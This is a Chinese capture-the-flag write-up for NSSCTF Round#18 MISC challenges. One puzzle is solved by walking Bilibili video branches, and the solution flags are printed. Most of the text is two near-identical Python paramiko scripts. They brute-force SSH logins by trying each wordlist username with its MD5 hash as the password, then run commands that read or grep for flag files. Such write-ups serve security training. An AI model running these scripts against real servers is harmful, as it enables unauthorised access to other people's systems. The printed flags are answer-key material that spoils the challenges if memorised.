NSSCTF-Round#18-WP

文章发布时间:

2024-02-14

最后更新时间:

2024-02-14

页面浏览：加载中...

MISC：

温馨的酒吧

1.可以一个一个试

2.使用bilibili弹幕网视频下载器😀下载所有分支去查看

[NSSRound#18]温馨的酒吧\A_看看菜单\B_1SelectFrom_Flag

[NSSRound#18]温馨的酒吧\C_沉默\B_好啊~\B_太菜了，打不动！！\A_\D_Web\C_放下比赛，安慰对象。

[NSSRound#18]温馨的酒吧\B_谢队！我要向你发起决斗！\D_突然不想打了，快跑！\A_

FLAG：NSSCTF{新年快乐_不要停下来啊_CTFer}

usersssssssss

看到docker的文件了(可以根据文件名称登录相应用户查看)

直接python脚本爆破

import hashlib
import paramiko

# 设置登录信息
hostname = 'node1.anna.nssctf.cn'
port = 28905

# 读取字典文件并提取用户名和密码
with open('wordlist.txt', 'r') as file:
    for line in file:
        username = line.strip()
        password = hashlib.md5(username.encode('utf-8')).hexdigest()

        # 建立SSH连接
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        try:
            ssh.connect(hostname, port, username, password)
            # 执行ls命令并保存结果到文件
            stdin, stdout, stderr = ssh.exec_command('cat /home/laminous/flag.txt')
            result = stdout.readlines()
            with open('ssh_results.txt', 'a') as output_file:  # 使用'a'模式以追加方式打开文件
                output_file.write(f"成功登录用户：{username}\n")
                output_file.write("命令执行结果：\n")
                for item in result:
                    output_file.write(item.strip() + '\n')
        except paramiko.AuthenticationException:
            print(f"登录失败，用户名：{username}，密码：{password}")
        ssh.close()

FLAG：NSSCTF{0077824f-6eac-40ee-8cf0-47019da3d925}

usersssssssss_revenge

直接脚本爆破

import hashlib
import paramiko

# 设置登录信息
hostname = 'node2.anna.nssctf.cn'
port = 28499

# 读取字典文件并提取用户名和密码
with open('wordlist.txt', 'r') as file:
    for line in file:
        username = line.strip()
        password = hashlib.md5(username.encode('utf-8')).hexdigest()

        # 建立SSH连接
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        try:
            ssh.connect(hostname, port, username, password)
            # 执行ls命令并保存结果到文件
            stdin, stdout, stderr = ssh.exec_command('grep -r --include=*.txt "NSSCTF" /')
            result = stdout.readlines()
            with open('ssh_results.txt', 'a') as output_file:  # 使用'a'模式以追加方式打开文件
                output_file.write(f"成功登录用户：{username}\n")
                output_file.write("命令执行结果：\n")
                for item in result:
                    output_file.write(item.strip() + '\n')
        except paramiko.AuthenticationException:
            print(f"登录失败，用户名：{username}，密码：{password}")
        ssh.close()